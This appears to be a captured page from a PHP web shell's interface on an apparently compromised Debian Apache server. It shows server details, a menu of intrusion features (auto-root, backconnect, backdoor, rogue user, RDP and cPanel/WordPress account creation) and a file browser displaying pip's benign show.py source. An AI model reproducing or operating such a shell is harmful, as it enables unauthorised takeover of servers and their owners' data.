Linux biogene 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
Apache
: 46.101.124.208 | : 18.217.142.228
Cant Read [ /etc/named.conf ]
5.6.40-0+deb8u12
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
pip /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
2.18
KB
-rw-r--r--
__init__.pyc
2.55
KB
-rw-r--r--
bundle.py
1.75
KB
-rw-r--r--
bundle.pyc
2.17
KB
-rw-r--r--
completion.py
1.79
KB
-rw-r--r--
completion.pyc
2.33
KB
-rw-r--r--
freeze.py
4.54
KB
-rw-r--r--
freeze.pyc
4.37
KB
-rw-r--r--
help.py
927
B
-rw-r--r--
help.pyc
1.26
KB
-rw-r--r--
install.py
13.08
KB
-rw-r--r--
install.pyc
9.8
KB
-rw-r--r--
list.py
6.65
KB
-rw-r--r--
list.pyc
6.27
KB
-rw-r--r--
search.py
4.61
KB
-rw-r--r--
search.pyc
5.17
KB
-rw-r--r--
show.py
2.69
KB
-rw-r--r--
show.pyc
3.24
KB
-rw-r--r--
uninstall.py
2.15
KB
-rw-r--r--
uninstall.pyc
2.59
KB
-rw-r--r--
unzip.py
185
B
-rw-r--r--
unzip.pyc
551
B
-rw-r--r--
wheel.py
7.71
KB
-rw-r--r--
wheel.pyc
6.17
KB
-rw-r--r--
zip.py
14.47
KB
-rw-r--r--
zip.pyc
11.47
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : show.py
import os from pip.basecommand import Command from pip.log import logger import pkg_resources class ShowCommand(Command): """Show information about one or more installed packages.""" name = 'show' usage = """ %prog [options] <package> ...""" summary = 'Show information about installed packages.' def __init__(self, *args, **kw): super(ShowCommand, self).__init__(*args, **kw) self.cmd_opts.add_option( '-f', '--files', dest='files', action='store_true', default=False, help='Show the full list of installed files for each package.') self.parser.insert_option_group(0, self.cmd_opts) def run(self, options, args): if not args: logger.warn('ERROR: Please provide a package name or names.') return query = args results = search_packages_info(query) print_results(results, options.files) def search_packages_info(query): """ Gather details from installed distributions. Print distribution name, version, location, and installed files. Installed files requires a pip generated 'installed-files.txt' in the distributions '.egg-info' directory. """ installed_packages = dict( [(p.project_name.lower(), p) for p in pkg_resources.working_set]) for name in query: normalized_name = name.lower() if normalized_name in installed_packages: dist = installed_packages[normalized_name] package = { 'name': dist.project_name, 'version': dist.version, 'location': dist.location, 'requires': [dep.project_name for dep in dist.requires()], } filelist = os.path.join( dist.location, dist.egg_name() + '.egg-info', 'installed-files.txt') if os.path.isfile(filelist): package['files'] = filelist yield package def print_results(distributions, list_all_files): """ Print the informations from installed distributions found. """ for dist in distributions: logger.notify("---") logger.notify("Name: %s" % dist['name']) logger.notify("Version: %s" % dist['version']) logger.notify("Location: %s" % dist['location']) logger.notify("Requires: %s" % ', '.join(dist['requires'])) if list_all_files: logger.notify("Files:") if 'files' in dist: for line in open(dist['files']): logger.notify(" %s" % line.strip()) else: logger.notify("Cannot locate installed-files.txt")
Close